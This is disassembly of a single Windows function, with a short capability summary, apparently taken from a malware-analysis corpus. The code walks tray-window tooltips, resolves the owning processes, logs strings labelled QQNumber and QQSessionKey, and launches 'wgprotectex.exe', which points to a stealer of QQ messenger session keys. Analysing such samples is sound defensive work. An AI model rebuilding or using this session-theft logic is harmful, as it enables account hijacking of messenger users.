Function at 0x402085
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov eax, 0x40c3a3
call fcn.00405754
sub esp, 0x56c
mov eax, dword [0x40f270]
push ebx
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x10], eax
call fcn.00404334
xor ebx, ebx
push str.c:winfgate_log
mov dword [ebp - 4], ebx
call fcn.00405aa8
mov dword [esp], 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ConsoleMain.exe
call fcn.00401312
test al, al
pop ecx
jne 0x4025a8
push esi
push edi
mov esi, 0x400
mov byte [ebp - 0x490], bl
xor eax, eax
mov ecx, 0xff
lea edi, [ebp - 0x48f]
rep stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
push ebx
push 0x418
lea ecx, [ebp - 0x4c0]
stosb byte es:[edi], al
call fcn.0040423c
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
call edi
push ebx
push ebx
push 0x418
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x4a8], eax
call fcn.00404273
push eax
call edi
cmp dword [ebp - 0x4a8], ebx
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x498], ebx
mov dword [ebp - 0x494], ebx
jle 0x40234a
push 7
xor eax, eax
pop ecx
mov byte [ebp - 0x90], bl
lea edi, [ebp - 0x8f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x70], bl
lea edi, [ebp - 0x6f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
lea eax, [ebp - 0x490]
push ebx
push eax
call fcn.00404a40
add esp, 0xc
push esi
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0x494]
lea ecx, [ebp - 0x4c0]
call fcn.00404365
mov dword [ebp - 0x4ac], eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.004012a9
pop ecx
push eax
call fcn.004011b8
mov edi, eax
lea eax, [ebp - 0x490]
push eax
push str.Tips___s_n_n
call fcn.0040101f
lea eax, [ebp - 0x490]
push 0x40d256
push eax
call fcn.00405a20
add esp, 0x18
test eax, eax
jne 0x4021ec
inc dword [ebp - 0x498]
cmp edi, ebx
jl 0x402332
lea eax, [ebp - 0x4a0]
push eax
push dword [ebp - 0x4ac]
mov dword [ebp - 0x4a0], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x4a0]
call fcn.00401839
test al, al
pop ecx
jne 0x402332
lea eax, [ebp - 0x90]
push eax
call fcn.004012e1
neg eax
pop ecx
sbb eax, eax
lea ecx, [ebp - 0x90]
and eax, ecx
mov dword [ebp - 0x4ac], eax
je 0x402332
push dword [ebp - 0x4a0]
lea eax, [ebp - 0x70]
push eax
call fcn.0040364f
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
mov edi, str.QQNumber___s__QQSessionKey___s_n
push edi
call fcn.0040497b
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
push edi
call fcn.0040101f
lea eax, [ebp - 0x70]
push eax
call fcn.004048f0
add esp, 0x1c
test eax, eax
je 0x402332
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.004029a5
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x538]
call fcn.00401a6a
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4e0], eax
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 1
call fcn.00401980
lea eax, [ebp - 0x4e0]
push eax
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 2
call fcn.004019c3
lea eax, [ebp - 0x578]
push eax
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0x410120
mov byte [ebp - 4], 3
call fcn.00401fce
push ebx
push 1
lea ecx, [ebp - 0x574]
call fcn.00401564
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.00401564
push ebx
push 1
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], bl
call fcn.00401564
inc dword [ebp - 0x494]
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x4a8]
jl 0x40214b
call fcn.0040138f
test al, al
je 0x402550
cmp dword [ebp - 0x4a4], ebx
mov dword [ebp - 0x494], ebx
jle 0x402550
push 7
xor eax, eax
pop ecx
mov byte [ebp - 0x50], bl
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x30], bl
lea edi, [ebp - 0x2f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
lea eax, [ebp - 0x490]
push ebx
push eax
call fcn.00404a40
add esp, 0xc
push esi
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0x494]
lea ecx, [ebp - 0x4c0]
call fcn.00404504
mov dword [ebp - 0x4ac], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.004012a9
pop ecx
push eax
call fcn.004011b8
mov edi, eax
lea eax, [ebp - 0x490]
push eax
push str.Tips___s_n_n
call fcn.0040101f
lea eax, [ebp - 0x490]
push 0x40d256
push eax
call fcn.00405a20
add esp, 0x18
test eax, eax
jne 0x402401
inc dword [ebp - 0x498]
cmp edi, ebx
jl 0x402538
lea eax, [ebp - 0x49c]
push eax
push dword [ebp - 0x4ac]
mov dword [ebp - 0x49c], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x49c]
call fcn.00401839
test al, al
pop ecx
jne 0x402538
lea eax, [ebp - 0x50]
push eax
call fcn.004012e1
neg eax
pop ecx
sbb eax, eax
lea ecx, [ebp - 0x50]
and eax, ecx
mov dword [ebp - 0x4ac], eax
je 0x402538
push dword [ebp - 0x49c]
lea eax, [ebp - 0x30]
push eax
call fcn.0040364f
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
mov edi, str.QQNumber___s__QQSessionKey___s_n
push edi
call fcn.0040497b
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
push edi
call fcn.0040101f
lea eax, [ebp - 0x30]
push eax
call fcn.004048f0
add esp, 0x1c
test eax, eax
je 0x402538
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.004029a5
pop ecx
pop ecx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x51c]
call fcn.00401a6a
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x500], eax
lea eax, [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 4
call fcn.00401980
lea eax, [ebp - 0x500]
push eax
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 5
call fcn.004019c3
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0x410120
mov byte [ebp - 4], 6
call fcn.00401fce
push ebx
push 1
lea ecx, [ebp - 0x554]
call fcn.00401564
push ebx
push 1
lea ecx, [ebp - 0x4fc]
call fcn.00401564
push ebx
push 1
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], bl
call fcn.00401564
inc dword [ebp - 0x494]
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x4a4]
jl 0x402369
mov eax, dword [ebp - 0x4a4]
mov ecx, dword [ebp - 0x4a8]
add eax, ecx
cmp dword [ebp - 0x498], eax
jl 0x402588
push 0x40d220
push 0x40d21c
call fcn.0040101f
pop ecx
pop ecx
push ebx
push str.wgprotectex.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jg 0x4025ce
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ConsoleMain.exe
call fcn.00401312
test al, al
pop ecx
je 0x4020df
pop edi
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c0]
call fcn.0040421b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
xor eax, eax
pop ebx
call fcn.00404ad1
leave
ret
push ebx
call fcn.004059d3
int3